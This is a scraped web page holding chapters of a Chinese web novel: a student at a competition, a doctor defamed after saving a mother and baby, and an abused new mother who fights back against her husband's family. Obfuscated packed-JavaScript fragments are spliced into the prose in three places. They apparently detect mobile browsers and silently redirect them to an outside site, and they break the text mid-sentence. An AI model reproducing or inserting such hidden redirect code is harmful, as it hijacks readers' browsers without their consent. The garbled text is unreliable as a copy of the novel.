l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436495|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“哎,陆舟,我听说你们班那个之前给老师们送恐吓信被处分的男生回来了,情况怎么样啊?” 沈安宴微微一怔,这人她都快忘了,经这么一提醒才想起来。 陆舟皱了皱眉头:“他啊……我没注意。啧,这种玩意儿看着就烦,大家估计都眼不见心为静吧。” 后桌同学撇了撇嘴:“就是那个虐猫的人?啧,真恶心。要不是个男的,我早去揍他一顿了。” 有人摆摆手:“算了算了,不提这个了,说的人心烦,咱们继续聊竞赛的事儿吧。” 说起竞赛,得知两个班全员参赛的消息后,陈愿还抽空给大家上了几节竞赛辅导课。竞赛时间定在了这周六,地点是市中心的青年广场,班主任和各科老师商量后,取消了周末作业,让大家能专心去比赛。 这真是个意外之喜,不用写作业,班上同学更高兴了。 周五晚上,沈安宴洗漱过后,顺手点开手机,意外看到顾辞江给她发来了信息。 这可有点意外,除了住院那会儿对方会问她缺不缺什么东西外,平时两人线上联系,大多数情况下都是沈安宴去骚扰他。 这还是罕见的一次对方竟然会主动联系自己。 沈安宴坐到床上,点开聊天框。 顾辞江:明天去青年广场,要不要一起?我让司机来接你。 沈安宴脸上浮现出纠结的神色,若是放在平常,她肯定毫不犹豫地就答应了。可离校前她已经和林跃她们约好一起坐地铁去竞赛地点。 盛宴:我超级想和你一起,但已经和班上同学约好坐地铁去了。 盛宴:[哭泣] 顾辞江垂眸看着对方发来的信息。 “我可以和你们一起”,这条待发送的消息稳稳地躺在文字输入框,顾辞江犹豫片刻,还是点了删除,最后发过去了一条“没事”。 ———— “哦吼——冬令营冬令营,我的冬令营快快来!” 进地铁站的路上,江小松和林跃打头,二人凑在一处,一边舞动着胳膊,嘴里则唱着这首不成调子的“冬令营之歌”。 李欣然默默后退几步,选择和陈杉一排,假装不认识前面两人。 沈安宴走在最后,她听着前面二人欢快的曲调,忽然想到什么,朝贺晴天问道:“咱们参加的是冬令营,那有夏令营吗?” 贺晴天道:“有的,不过夏令营基本只有理科班参加,和咱们文科班关系不大。” 沈安宴回忆一番,发现这次冬令营好像确实是文科班报名的多,理科基本没几个人参加。 陆舟疑惑道:“这是为什么?难不成雅典娜竞赛还搞文理歧视?” 贺晴空解释道:“主要是两个竞赛的用处不同。夏令营获奖可以得到保送资格,但基本只能被保送去数学专业,这个专业文科班又报不了,所以对文科用处不大。冬令营国际化程度更高,得的奖项更受认可,如果能获奖以后出国留学会更有竞争力。文科班有出国计划的人更多,所以更倾向于参加冬令营。” 聊到这里,安检处也到了。几人停了交谈,将包送入仪器入口,排队过安检去了。 34. 桂花 从地铁口出来,再步行十分钟,青年广场就映入了眼帘。 刚进候考厅,沈安宴一眼就看见了人群中的顾辞江。她朝周围人说了声“我离开一下”,就兴冲冲地跑去和对方搭话了。 沈安宴其实也没什么一定要跟顾辞江说的,她就是习惯性地想凑上去和对方待一会。顾辞江戴着耳机,没有注意周围的动静,直到肩膀被人拍了一下,才发现身侧忽然多出了个人。 沈安宴笑着问道:“听什么呢?” 顾辞江摘下耳机,闻言回答道:“钢琴曲。” 沈安宴道:“噢,我也要听。” 顾辞江还没来得及反应,对方就将耳朵凑了上来,歪头示意对方拿着耳机的手:“给我戴一下?” 对方都这么主动说了,顾辞江自然不好再推辞。于是耳机一头在顾辞江那儿,另一头则被他轻轻戴在了沈安宴耳朵上。 柔和美妙的歌声在耳中响起,沈安宴没听过这首音乐,但不妨碍她喜欢,毕竟顾辞江的品味一向很好。 时间还早,周围人又多,两人被耳机牵连着,彼此间靠得很近。 沈安宴握住对方的手腕,找了个角落的位置坐下,一起安静地欣赏起耳机里播放的音乐。 另一边,在沈安宴离开的时候,林跃就翻了个白眼:“看她那没出息的样……” 她话说一半,被贺晴天踩了下脚,硬生生把接下来要说出口的话又给咽下去了。 林跃迷惑道:“怎么了?” 贺晴天清了清嗓子,微微偏头示意了一下。 林跃顺着对方的视线看去,发现和她们同行的陆舟正看着沈安宴的方向,面色看起来……反正绝对不是高兴的样子。 林跃:……懂了。 眼看着考试时间要到了,而沈安宴那边依旧一副岁月静好毫无动静的样子,若是陆舟没在,几人大概会识趣地直接走,不去打扰对面的二人世界。 但陆舟既然在了,外加上江小松这个没心没肺的,直接嚷嚷道:“哎,要不要去把小宴叫一下?” 贺晴天率先道:“那你们等一下,我去问问她。” 说问也不算问,毕竟贺晴天极懂自己这位同桌的性子,因此到了跟前,和顾辞江打过招呼后,她就直接朝沈安宴通知了一声:“那待会开考我们就直接走了?” 沈安宴点点头:“行,不用等我。” 当然,等贺晴天回队伍里后,得知这个消息的陆舟更不开心了。 好在奇奇怪怪的氛围没有维持多久,竞赛考试很快就开场了。大家陆陆续续进了考场,找到自己的位置坐下。 竞赛题目对沈安宴来说依旧中规中矩,只是思路要跳跃一些,但好处是没有那种文字游戏的漏洞陷阱,不需要她花时间抠细节。 沈安宴答得很顺利,一气呵成地写完后,又检查一遍没有笔误一类的错误,剩下时间也不多,她便干脆利落地起身准备去交卷子。 结果刚走一半,后面也响起了桌椅挪动的声音,也有人提前交卷了。 沈安宴将卷子放到讲台上后,才回头看去,那个跟着她一起交卷的人竟然是陆舟。 对方见她看自己,还笑着眨了眨眼。 监考老师收好卷子,示意二人快些离开,不要干扰考场秩序。 沈安宴低声应了句“好”,陆舟则笑嘻嘻地说了声“老师拜拜”,就勾着沈安宴的脖子离开了。 这是竞赛考场头两个离开的人,大部分学生抵不住好奇心,抬头看了几眼。 顾辞江本来没打算抬头,但他听出了沈安宴的声音,还是忍不住抬头看向前方,结果正好就看到了陆舟拉着沈安宴离开的那一幕。 他笔下忽然顿了顿,而后默默加快了速度。 “你答题速度这么快?”沈安宴问道。 出了竞赛考场,二人一直走到青年广场大门外,才敞开了声音说话。 陆舟枕着手臂,闻言笑道:“你也太瞧得起我了,胡乱写了点儿,然后就等着你什么交,我就跟着你一起了。” 说到这儿,他颇为得意地挑了挑眉:“没想到小宴老师这么厉害,竟然是第一个交卷的,让我也跟着出了把风头。” 沈安宴莞尔:“噢,可惜门口没有记者,不然还能再出一把采访的风头呢。” 虽然大门口没有记者,但有一个卖桂花糕的小摊贩,沈安宴看得眼馋,上去买糕点了。 陆舟正要跟上去,兜里的手机忽然响了起来,他正准备挂掉,但在看到来电显示人时却立刻点了接通。 “哎,舟舟啊,现在忙吗?”带着笑意的轻快女声从话筒里传出。 陆舟笑着应道:“不忙,姐你说。” 陆淼道:“我这儿有两个好消息,你要先听哪个?” 陆舟装模作样地思考了一番,笑着道:“那就先听二号好消息吧。” 陆淼道:“二号好消息是,我再过几天就能回海城了,开不开心?” 陆舟眼睛立刻亮了起来:“你要回来了?开心!肯定开心!” 陆淼笑道:“那再说一号好消息,我正在商场选礼物,你有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等顾辞江出来时,沈安宴又凑上去给对方也分了一个吃。 顾辞江犹豫了一下,接过对方递来的甜点,又道了声谢。 沈安宴道:“那我走了,周一学校见?” 顾辞江咬了一口桂花糕,闻言点了点头,三两口将糕点咽下去后,才空出嘴回复道:“好,再见。” 35. 生育 海城医院,手术室。 一切都是冰冷的,病床是冷的,仪器是冷的,手术刀也是冷的。 顶上的光白得刺眼,赵柔被晃得有点疼,不知道是眼睛疼,还是身体上的疼。 周围响起棉絮似的的交谈声,很多,有点乱,她听不清楚。 她费力地支起耳朵,想要听清医生们在说什么。她辨认着那些黏腻的字符,勉强拼凑出了现在的情况。 她的分娩进行地似乎并不顺利。 有人推门进来,赵柔听见了对方说的话:“许医生,家属们不同意签字。” 接着,一支笔被塞到赵柔手中。 有人在她耳边问道:“赵女士,您现在的情况很危急,我们需要切除您的子宫,才有可能保住您和孩子的生命。您有力气在这里签字吗?” 纸上的字迹歪歪扭扭,轻而薄,像一触即散的泡沫。 赵柔闭上了眼睛。 ———— 手术室门上的灯终于变成了绿色。 医生们从病房里走了出来。 孩子的父亲和爷爷忙迎了上去,急切地问道:“大夫,孩子怎么样?是儿子吗?” 一旁的年轻护士皱了皱眉。 许医生耐着性子回答:“母女平安。” 父亲的脸垮了下来,爷爷气愤道:“怎么是个女的?” 周围响起一阵窃窃私语。 “这家人怎么了?” “神经啊?” “脑子有病吧?” …… 父亲嫌丢人,拉了拉爷爷的袖子,劝道:“算了,反正以后还能生……” 护士道:“为了保障赵女士的生命安全,她的子宫在手术中被切除了。” 父亲愣住了,他涨红了脸,不敢置信地问道:“没了?生不了孩子了?” 他仿佛受了偏似的,像一头看见了红绸布的公牛:“你们凭什么切!你们没有经过我的同意,凭什么切!” 护士冷冷道:“赵女士同意了。” 父亲仍不罢休:“她同意算什么!你们这是什么医院!垃圾医院!赔钱!赔钱!” 两个男人张牙舞爪起来,甚至想动手,但被赶来的保安给架走了。 走之前,父亲仍愤愤不平,嘴里喊着:“你们等着,我会让你们付出代价的!” ———— 赵柔抱着孩子,在屋里坐着。 她身子骨差,奶水也不足,孩子总是被饿的嗷嗷哭。 父亲和爷爷总是在院子里唉声叹气。两个男人看她,像是看一件棘手的、丢不掉的报废品。 “她当初要是能死在手术台上多好,咱们还能问医院要一笔钱。” “生不了孩子,还要占着茅坑不拉屎,不如死了算了。” “离婚也不划算,当初花了那么多钱呢,现在女人可不好找了。” 女人最好是能多生男孩儿的,生了男孩儿,再养大成人,死了,可以给更年轻漂亮的妻子让位,这是极好的。 最可恨的,就是生了女儿,然后就不生了,还要强占着妻子这个位置。这是最可恶的。 两只公牛愤恨地盯着赵柔看,脑子里想着人听不懂的话,好像屋子里坐着的是它们的杀子仇人。 “咱们要闹,不能这么就算了!”小公牛说。 “对,要闹!让医院给咱们赔钱!”老公牛说。 赵柔在屋子里坐着,孩子不哭了,睫毛上还挂着泪珠。她掖了掖孩子的被角,觉得院子里的“哞哞”叫声有些烦人。 ———— 沈安宴大课间刷手机时,无意间看到一则新闻标题。 “海城医院许召医生丧尽天良,手术时恶意切除孕妇子宫。” 她愣了一下。 沈安宴第一次见许医生时,就觉得对方有些熟悉。她当时想着,或许自己穿越前见过对方,或者对方毕竟是医生,自己可能在哪里看过对方的报道。 但那应该是很久远的事了,毕竟沈安宴只觉得熟悉,却想不起来究竟发生了什么。 而在看到这条新闻时,那些遥远的,纷乱的记忆——忽涌而来。 那是被破了红油漆的工位,是涂满了“去死”字样的私家车,是本可以安享晚年的优秀医生,为自证清白而失去的生命。 沈安宴十二岁那年,网络上爆发了一场造谣,许医生被舆论逼自杀。 她做的最后一台手术,就是为挽留一位孕妇的生命,切除了对方的子宫,才保得母女平安。 但媒体却将此事污名化,用种种莫须有的猜忌肆意抹黑,最终导致这位医生不堪骂名,以死自证清白。 沈安宴眨了眨眼,甚至来不及多想,就从座位上起身奔去了办公室。 “老师、老师!” 姜老师正坐在工位上改作业,见自己的学生急匆匆跑来,面色有些疑惑。 “哎,慢点慢点,怎么了?”姜老师问道。 沈安宴将那则新闻给姜老师看:“您看这个!” 姜老师的目光投向屏幕,她的面色越来越沉,中途甚至直接把手机拿到了自己手上看。 沈安宴立在一旁,心中又是紧张又是忧心。 看完后,姜老师深吸一口气,从工位上起身,一边拿外套一边朝沈安宴安抚道:“别担心,我会想办法的。” 她又转向王美心:“王老师,帮我请个假,我有急事要出去一趟。” 王美心点了点头,见对方神情严肃,就没浪费时间追问是什么事。 沈安宴道:“老师,我和你一起!” 她说完这句,又快速补充道:“您一个人不方便,又不能立马联系到姜暖姐或者林鹿姐,我在旁边可以搭把手,还能帮忙跑腿!学习不影响的,您知道我自学能力很强!而且出了这种事我也学不进去……” 姜老师抬手止住了对方的话,又朝王美心道:“王老师,那拜托您再帮盛宴请个假吧。” 王美心:“啊?哦哦,好的。” 沈安宴跟在姜老师身后,她先叫了去医院的车,然后将现在的情况编辑成短信给姜暖和林鹿分别发了过去,又拨打二人的电话让她们看一下信息。 等到了校门口,叫的车也到了。两人坐上车后,沈安宴又去看那些新闻,底下尽是些不堪入目的辱骂,她心底的火腾一下就上来了,把那些造谣的人全都骂了个遍,结果没一会儿就收到了“因不友善交流封号一个月”的提示。 沈安宴:…… 她还想切小号继续骂,一只手却伸了过来,将她的手机拿走了。 是姜老师。 她将屏幕按灭,又重新还给对方。 “不要理会那些言论,舆论总是盲目的,个体的力量难以与其抗衡,最有效的手段是改变舆论的方向。”姜老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456251|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 沈安宴深呼吸一口气,点头应了声“好”。 医院很快就到了,两人去生育科的路上,沈安宴看到了一辆车。 上面涂满了红色的字,全是极尽恶毒的辱骂,周围有很多人在围观,还有拍照的,夹杂着一些幸灾乐祸的议论,其中大多数是男人。 有人问:“这是谁的车?” “好像是生育科许医生的车。” “干什么事儿了?” “听说是她接生一个孕妇,直接把人家弄的不能怀孕了。” “什么黑心医生……” 沈安宴心里有些堵,姜老师按住她的肩膀,又面向那群人,扬声道:“各位,没有证据的事就这么乱说,不怕被起诉造谣吗?” 姜老师的声音沉稳,有力。虽然声量不大,但依然镇住了那群人。 有一个男人大概觉得丢了面子,不死心反驳道:“说两句怎么了,要不要这么矫情,起诉就起诉呗,还能让我坐牢怎么?” 旁边一个阿姨听不下去,抬手狠狠给了那个男人一巴掌。 “遭天谴的玩意儿。老娘我不想打男人,但你这种贱人就不算男人了哈,忍你们这群吊货很久了!” 她甩甩手,大声道:“我当年的孩子就是许医生接生的,今天我这话就撂这儿了,许医生绝对是个好医生,这些造谣的人都是烂人。要是有假,我把我脑袋摘下来当球踢!” 这阿姨刚扇下去的那一巴掌力度可不轻,男人的半张脸立刻红肿起来,他又急又气地怒视着阿姨,却摄于对方的气势不敢说什么,只能灰溜溜地跑了。 沈安宴适时地举起了手机:“你们刚刚骂许医生的话,我都录音了,要是还不长记性当长舌公乱嚼舌根,就等着收法院传票吧!” 经这么一遭,原本围着看热闹的人忙散了去,那位阿姨朝二人比了个大拇指:“哎,姑娘,大姐,干得好,我替许医生谢谢你们!” 姜老师朝对方点头笑了笑。 沈安宴道:“我们也要谢谢您,愿意为许医生说话。” 阿姨摆摆手:“嗐,说几句实话罢了,算不了什么。” 等阿姨走了,姜老师看了一眼车子,拿出手机点了几下,又朝沈安宴说:“我去生育科找许医生,你把车子处理一下,可以吗?” 沈安宴立刻答应下来:“没问题,您放心好了。” 姜老师离开后,沈安宴点开手机准备叫专业人士来拖车清洗,就见顶部弹出了一条新消息。 是姜老师的信息,对方给她转了五千元。 沈安宴:?洗车应该没有这么贵吧? 不过现在也不是计较这些的时候,沈安宴便干脆利落地收下了。 ———— “哎,姜老师,你怎么突然来了?”许医生正伏在案前办公,听见门口响动,抬头看时,意外见到了一个老熟人。 姜暖林鹿前些天已经办理了出院手续回去住了,姜鹤自然没有再来医院的理由,因此乍一见到对方,许医生着实有些意外。 姜鹤道:“最近正换季,有点咳嗽,来开点药,想着你应该没事,就顺路来看一下。” 她注意着许医生的表情,问道:“最近怎么样?” 许医生笑道:“老样子,不过最近倒是挺清闲,这周末打算去爬个山。” 姜鹤点点头,笑道:“挺好,咱们一起。” 36. 太阳 许医生似乎不知道网上的事情,这让姜鹤稍微放了点心。 她离开后,找了许医生的同事询问情况。 “您说那件事?哎,我们也在瞒着……” 同科室的张医生压着声音解释道,又将事情的起因始末大概复述了一遍。 “谁能想到,医闹常常会有,但真没哪次有这么离谱的。那么严重的情况,许老都能把产妇从鬼门关拉回来。要知道,分娩遇见这种问题,能活下来都是奇迹,许老还保了她们母女平安。家属不送锦旗就算了,竟然还要闹,我真是怎么也想不通他们闹的理由,那家子和产妇是仇人吧?” 张医生年纪轻,自然不懂,姜鹤却是立刻明白了其中的关节。 这是旧时代遗留的疤痕。 ———— 世界是怎么脱离父权的束缚,奔向新世纪的呢? 姜鹤不知道。 她年轻时,曾无数次为此呐喊奋斗,觉得女性主义这条路似乎看不到尽头,是如此的艰难而漫长。 虎视眈眈、饿狼一般的父亲、丈夫、儿子,叫不醒的同胞,甚至连觉醒者内部也争论不休。 姜鹤甚至差点就要妥协了,这条路看起来太漫长,太坎坷,她已经失去了初时的激情与耐心,只想过好她自己。 直到名为“雪花”的组织出现。 “待寒冬过去,我将要焰火烧遍大地。” 姜鹤至今依然记得这句话。 “雪花”里的人斗志昂扬,决绝,暴虐,偏激,在出世时几乎受到了所有人的抵制与谩骂。 男人恐惧她们,女人不理解她们。 但姜鹤却觉得她们像一个奇迹,她们有着精妙绝伦的新思想,同时也有着掀桌的底气,和将一切执行下去的行动力。 她们不惧怕男人的反击,也不理会女人的劝说,只是输出自己的观点,然后再落实。 于是世界发生了翻天覆地的变化,姜鹤亲眼见证着,这个世界是如何掀翻了懦弱无能的父亲,迎回了她们真正的母亲。 姜鹤一直不觉得,个体的力量可以改变群体。 但“雪花”做到了。 她们像一个奇迹,母神赐予这个腐朽世界的奇迹。 当然,如今的主流虽然是女男平等,但在一些角落,仍有官方和“雪花”触及不到的阴影,在父权的阴霾下苟延残喘。 比如这次的医闹事件。 姜鹤谢过了张医生,又拜托她们继续帮忙隐瞒这件事,尽量不要让许医生受到这场医闹的影响,就去找院长了。 “难道你们要许医生一个人面对这件事吗?”她问道。 “她是你们的一份子,你们不来主动处理这场医闹,而将她推出来当挡箭牌,想要以最小的代价宁事息人……不觉得太无耻了吗?” 姜鹤其实也没想从院方这里得到什么回复,只是来警示几句,让对面别装死。毕竟后面还有更重要的事。 还是那句话,个体的力量是无法动摇群体的。医闹的家属固然可恶,但对错分明的事情,却能被造谣成这个样子,里面出力的绝不只有医闹一家。 追求流量的平台,事不关己的看客,装死的装死,逐利的逐利,最后竟逼得受害者要自证显而易见的清白。 等迟来的正义到了,再来上一场对死者探根究底的追溯,掉几滴假惺惺的眼泪,来一场英雌者生不逢时的狂欢。 看着车子上的脏污被一点点洗掉,沈安宴立在一旁,默默想着。 许医生这边目前没什么问题,所以现在最重要的是该如何解决舆论。 沈安宴刚才试了一下,想举报那几篇造谣的报道,甚至还转发给林跃她们让帮忙一起举报,结果依然没什么用。 好好好,封她的号封得倒是快准狠,到这事儿上又装瞎? 沈安宴差点要被气笑了。 车子洗好送到医院后,沈安宴正好遇上了匆匆赶来的姜暖和林鹿。 二人脸上还带着未消的余怒,见到沈安宴后才稍微缓和了一点面色。 沈安宴注意到两人衣服上沾染了些尘土,还有一点红色的脏污。她打过招呼,又问对面是不是遇上了什么事。 “真是一群疯子。” 林鹿拍了拍了袖口的灰尘,皱眉道:“刚来路上遇见了闹事的,拿着大字报要医院给说法,还给门口泼了一地血水……” 沈安宴问道:“闹事儿的是男人吗?” 姜暖面色有些凝重,闻言摇头道:“也有女人,不多。看起来像是专门搞医闹的,干这事儿挺熟练。” 林鹿补充道:“已经报过警了,但那群人精明得很,只是在那儿嚷嚷泼血,既没有打人,也没破坏公物,后续大概顶多被警告一下或者罚款,连牢都不用坐。” 沈安宴“嗯”了一声,心里却有点奇怪。那位产妇的家属只有两个男性,家境看起来也不是很好,就算要医闹,大概也只能亲自来,怎么还请得起专业的医闹团队呢? 姜暖和林鹿来时跟医闹的人群起了冲突,因此形容有些狼狈,也不适合去拜访许医生,几人便门口等姜老师出来。等汇合后,双方互通了一下信息,沈安宴也提出了自己的疑问。 林鹿恍然道:“也是哦,这种团队可不便宜,那家人既然想讹钱,怎么可能愿意干这种先掏钱的事儿。” 姜暖拧眉道:“不用担心,我今天就找家靠谱的安保团队,跟在许医生周围防那些闹事儿的人……还有媒体的事,我找找从事媒体行业的朋友,打听一下医闹报道的情况。” 姜老师点点头:“那好,我周围也有做新闻工作的朋友,看看能不能帮上忙。” 到这个地步,沈安宴也帮不上什么忙。姜老师便让对方先回学校,又保证如果有什么进展,会及时告诉她的。 沈安宴记挂着这件事,回去后依旧放心不下,一有时间就要上网看看相关报道的最新进展。 但形势仍不见好转,舆论甚至越演越烈。造谣喧嚣尘上,黑白不分的骂声越来越多。沈安宴初时还觉得气愤,但时间久了, 她慢慢察觉出了怪异之处。 许医生救治过的产妇很多,流言蜚语之下,为她发声澄清的人不在少数。但这些澄清的帖子却总在被限流、删除,为她发声或是反驳造谣的言论,也总被举报、封号。反而是那些颠倒黑白的,热度却不同寻常的高。 甚至有这样的言论——“让被切除子宫的产妇出来说话,如果真的有隐情,她为什么不出来发声?” “真正的受害人都没说话,你们急什么?” ———— 冬日寒冷,屋子背阴。坐在里面,湿冷的空气总是冻得人一阵接一阵的发抖。 今天难得是个晴天,阳光很好。赵柔抱着孩子,端了个小马扎坐在门口晒太阳。 阳光暖融融的,照在身体上很舒服。 赵柔眯起眼睛,轻轻摇晃着怀里的婴儿,听着路上来往的行人聊天。 “疯了吧,我都不懂这事儿有什么好吵的,一堆不会生孩子的男的搁那儿骂医生凭什么切人家子宫,人家子宫又没长他身上,咸吃萝卜淡操心。” “我也听说了,能救下来就好,还管这管那的,真是白眼狼。” “平台脑子也是有病,这种造谣的帖子还留着不删。” ………… 赵柔手上的动作一顿,有些茫然地看向那几个聊天的路人。她还想再听一点,但对方已经走远了。 赵柔的脑子有点木。 从记事起,赵柔就一直被关在家里。父亲说外面的世界很危险,如果她到了外面,一定会变坏。 “我们小柔要做个好女人,可不能像外面那些疯子,连自己爸爸都不认了。” 父亲总这么教她。 等赵柔大了,父亲又将她送去了另一户人家,告诉她,这家人里,年长一点的男人是她未来的爸爸,年轻一点的男人是她需要尊奉的丈夫。 生活于她而言并没有什么变化,她只是换了一个地方待着。屋子里的两个男人将她看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470728|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很紧,哪怕她稍微到门口晃一下,都要大惊失色地将她拉回来。 “外面的都是魔鬼,巫女,疯子!你要是出去了,你也会变成和她们一样的怪物!” 两个男人这样对她说。 直到怀孕后,赵柔才第一次真正意义上的出了门。 那实在是个精彩的世界,尽管两个男人一直严密看守着她,但外面的、新的世界仍不可抵挡地映入了她的眼帘。 那些鲜活的、跃动的、缤纷的…… 赵柔不觉得害怕,她只想在这个世界多停留一会儿。 她渴望与人们交流,尤其是女人,她长这么大以来竟从没有见过一个女人。 但好景不长,分娩的时候,她几乎要痛死了。她甚至害怕起生育这个东西。 还好医生说她以后不会再生育了,这样痛苦的经历只需要忍受一次。还有孩子……是个女儿,她喜欢女儿。 她也喜欢那个为她接生的医生,许医生人很好,面容慈祥,说话时温声细语,而且还很有学识。 这让她想到了妈妈,虽然赵柔并没有妈妈。 父亲说,她妈妈跑了,是个坏女人。 但赵柔并不这么觉得。 回忆被打断了,一个人站在了赵柔身前。 赵柔抬头看去,对面的人小小的,头发短短的,穿着一身厚实的棉袄,脸蛋被冻得通红,正好奇地打量着她。 赵柔笑了,她问道:“小弟弟,你怎么了?” 对面的小孩听到这一句话却皱起了眉毛,她纠正道:“我是女生。” 赵柔新奇地看了一眼对方的头发,摇头道:“你是女生?怎么留这么短的头发,一点也不好看,不像个女孩子……” 小孩的嘴巴撅起来了,她大声嚷嚷道:“你才不像个女的,病恹恹的,一点精神气都没有!” 赵柔也没生气,她笑着请教道:“那怎么样才算个女孩子呢?” 小孩正准备回答,一道像是口水没吐干净的声音响起了:“干什么呢干什么呢!哪儿来的野种,滚一边儿去!” 赵柔忍不住缩了缩脖子,她转头看去,是家里的小公牛回来了。 小公牛身后跟着老公牛,两人瞪了赵柔一眼,又张牙舞爪地要赶那个小孩走。 赵柔低着头,催促道:“你快些走吧,他们会打你的……” 小孩看她一眼,转身离开了。 小公牛大步走到赵柔身旁,气急败坏地骂道:“你这*子,谁让你到门口来的,是不是欠收拾了!啊!挑衅我是吧……” 小公牛很有自尊心,若是遇到没有按它心意来的事,就会觉得人家是在挑衅它。 赵柔尽可能顺从地回答:“我没有,屋里太冷了,我就是想出来晒个太阳……” 小公牛闻言却扬起了手,瞪大眼睛,仿佛受了天大的侮辱,怒喝道:“还敢顶嘴!你要翻了天是不……” 但小公牛这句话没能说完。 因为一只砖头砸在了他脑袋上,鲜血瞬间从裂开的头皮里流了出来。 小公牛见了血,“哞——”地一声更被激怒了,他转头看去,就见先前离开的那个小孩又回来了,砖头正是她砸过来的。 小公牛气急败坏地骂道:“那儿来的杂碎,看我不收拾你……” 小孩却一点儿也不怕,她眼珠子一转,朝对方做了个鬼脸,笑嘻嘻道:“你来呀你来呀,不来不是娘们儿!” 小公牛当即要上去打她,结果除了被小孩溜一圈,又被钢棍戳了小牛儿外,并没有再多的收获了。 老公牛见自家命根儿受辱,自然不肯罢休,也挺着把老骨头要上去帮忙。 结果被这蛮丫头一脚踹进了沟里。 看着两只公牛在地上“哞哞”地叫着打滚儿,小孩叉着腰,发出了畅快的大笑。 她一边笑一边对旁边已经看呆了的赵柔挥挥手,大声喊道:“你不是问我女人该是什么样子吗?” 她朝自己比了个大拇指:“就是这个样子!” 37. 晴天 赵柔抱着孩子回了房,院子里两头公牛还在“哞哞”叫着。 她看着自己的孩子,又好像没在看孩子,脑子是混的,但心口却热腾腾的,她也不知道自己这是怎么了。 老公牛气道:“那医院真是孬种,闹了这么久也不肯掏钱出来。呸——贪了那么多钱,光知道让自己享受,可怜我们小老百姓想要点儿都不成。” 老公牛喜欢谈政治,这让它觉得自己很有男子气概。不过在它的眼里,所谓政治就是骂所有比它过得好的人,鄙视所有比它过得差的人,再顾影自怜一下生不逢时的自己。 小公牛自然尊崇父亲的话,它闻言忙不迭地附和道:“就是!那许医生也是个丧良心的,断了咱家的根,竟然还有脸活着……” …… 外面的两头公牛就这样高谈阔论,叫得欢快极了。 赵柔却忽然抬起头,冲屋外喊道:“许医生是个好医生。” 院子里瞬间静了下来。 小公牛沉下脸,胳膊上的青筋都爆了起来,他皱死了眉头,眼神看起来像是要吃人。 “你再说一遍!” 赵柔说:“许医生是个好医生。” 老公牛盯着她,哼了一声。 小公牛站起身,朝房间里走来。 赵柔将孩子轻轻放在床上,随后也站起身,直视着小公牛的眼睛,说道:“你要是敢打我,我就喊了,出去喊,或者在院子里喊,反正邻居们都能听到,她们会帮我报警。” 小公牛感到自己的权威受到了损害,被气得“哞哞”叫起来,但又不敢真打了,只能强撑着面子说:“信不信老子弄死你!” 赵柔说:“你要是敢杀我,警察肯定能查出来,你就等着坐牢吧,杀人偿命!” 小公牛面色铁青,最后还是老公牛出面给了自家命根儿一个台阶下:“行了行了,和她计较什么,也不嫌丢份儿。” 小公牛“哼”了一声:“我这是给我爸面子。” 他正要走,却又被赵柔厉声喝住了。 “站住,给许医生道歉!” 小公牛涨红了脸,抬起手大步走了过来,嘴里还念叨着:“老子这几天真是好脸给你给多了……” 但下一刻,一根棒子迎面朝他砸了下来。 赵柔手里攥着擀面杖,这物什她用起来极顺手,又长又硬,做饭利落,打起人来也够疼。 赵柔感觉自己浑身的血液都沸腾起来了,她从没有一刻有现在这么痛快过。 她两眼发着光,手里攥着的擀面杖一下又一下,雨点一般密集地砸在了面前这头小畜生的身上。 小畜生避闪不及,又失了先手,此时只能一边“嗷嗷”叫着,一边抱头乱窜。 期间老畜生也来了,但被赵柔顺手一棍子敲晕在了地板上。 直到床上的孩子哭了起来,赵柔才慢慢平复下来。她停下了动作,朝小公牛命令道:“给许医生道歉。” 小公牛哪儿敢还嘴,他一个劲儿地磕头哆嗦道:“我道歉,我道歉,许医生对不起,对不起……” 赵柔又给了他一棍子:“不够,你错哪儿了!” 小公牛忙扇了自己一巴掌,哭喊着道:“我不是人,我是畜生,我嘴贱我脑子有病,我错了,我真的错了,我就不该活在这世上……” 赵柔这才满意,她收回擀面杖,冷冷地说:“行了,你滚吧,别让我再看到你。” 小公牛忙不迭地滚了,还是赵柔提醒老公牛还在地上躺着呢,对方才慢吞吞地过来把老公牛拖走了。 这一次逆风翻盘像是打通了赵柔的任督二脉,她去厨房给自己煮了一大碗面,打了两个鸡蛋,还毫不吝啬地加满了肉,热乎乎地吃饱后,又回房给孩子喂了奶。 等入夜后,两头公牛今天挨了两顿打,已经筋疲力尽,早早就睡熟了。 赵柔拿了钱,给自己穿好棉袄,又给孩子裹了厚厚一层,确保不会冻着后,迎着夜色和女儿一同迈入寒风呼啸中。 